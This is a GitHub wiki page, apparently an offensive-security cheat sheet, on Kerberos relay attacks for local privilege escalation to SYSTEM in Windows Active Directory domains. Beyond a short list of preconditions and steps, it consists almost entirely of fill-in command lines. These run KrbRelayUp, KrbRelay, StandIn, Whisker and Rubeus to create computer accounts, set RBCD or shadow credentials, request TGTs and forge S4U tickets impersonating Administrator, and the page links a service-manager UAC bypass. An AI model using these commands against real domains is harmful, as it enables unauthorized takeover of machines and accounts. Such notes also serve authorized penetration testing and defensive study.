Kerberos relay attacks - CraigDonkin/Infrastructure GitHub Wiki
- If LDAP signing and Channel binding are enabled it is not possible.
- Can be exploited to local privilege escalate to system.
- You need to control a computer object. So for example adding a new computer object to the domain.
- You need to have access to a second computer that you want to priv-esc on.
- Coerce the local machine account into authentication
- Relay the Kerberos to LDAP.
- Perform RBCD attack, to get the TGT and then do S4U to get a service ticket.
- Use the service ticket to authenticate to the local service control manager and create a new service that elevates privileges to SYSTEM.
- https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
- https://github.com/Dec0ne/KrbRelayUp
- https://github.com/cube0x0/KrbRelay
- https://gist.github.com/tothi/bf6c59d6de5d0c9710f23dae5750c4b9
https://github.com/Dec0ne/KrbRelayUp
KrbRelayUp.exe relay -Domain <domain> -CreateNewComputerAccount -ComputerName <computername> -ComputerPassword <password>
StandIn.exe --computer <name> --make
Get-DomainComputer -Identity <computer name> -Properties objectsid
CheckPort.exe
KrbRelay.exe -spn ldap/<DC> -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd <sid of computer added to domain> -port <port in output from checkport>
Rubeus.exe asktgt /user:<computer account>$ /aes256:<aes256 hash> /nowrap
Rubeus.exe s4u /user:<computer account>$ /impersonateuser:Administrator /msdsspn:host/<target computer name> /ticket:<ticket> /ptt
https://gist.github.com/tyranid/c24cfd1bd141d14d4925043ee7e03c82 https://github.com/rasta-mouse/SCMUACBypass
Whisker.exe list /target:<target computer>
CheckPort.exe
KrbRelay.exe -spn ldap/<dc.domain name> -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -shadowcred -port <output from CheckPort.exe>
- The KrbRelay command will give a Rubeus command to run
Rubeus.exe asktgt /user:<user> /certificate:<certificate> /password:"<password>" /getcredentials /show /nowrap
Rubeus.exe s4u /impersonateuser:Administrator /self /altservice:host/<computer>$ /user:<computer account> /ticket:<ticket> /ptt
https://gist.github.com/tyranid/c24cfd1bd141d14d4925043ee7e03c82 https://github.com/rasta-mouse/SCMUACBypass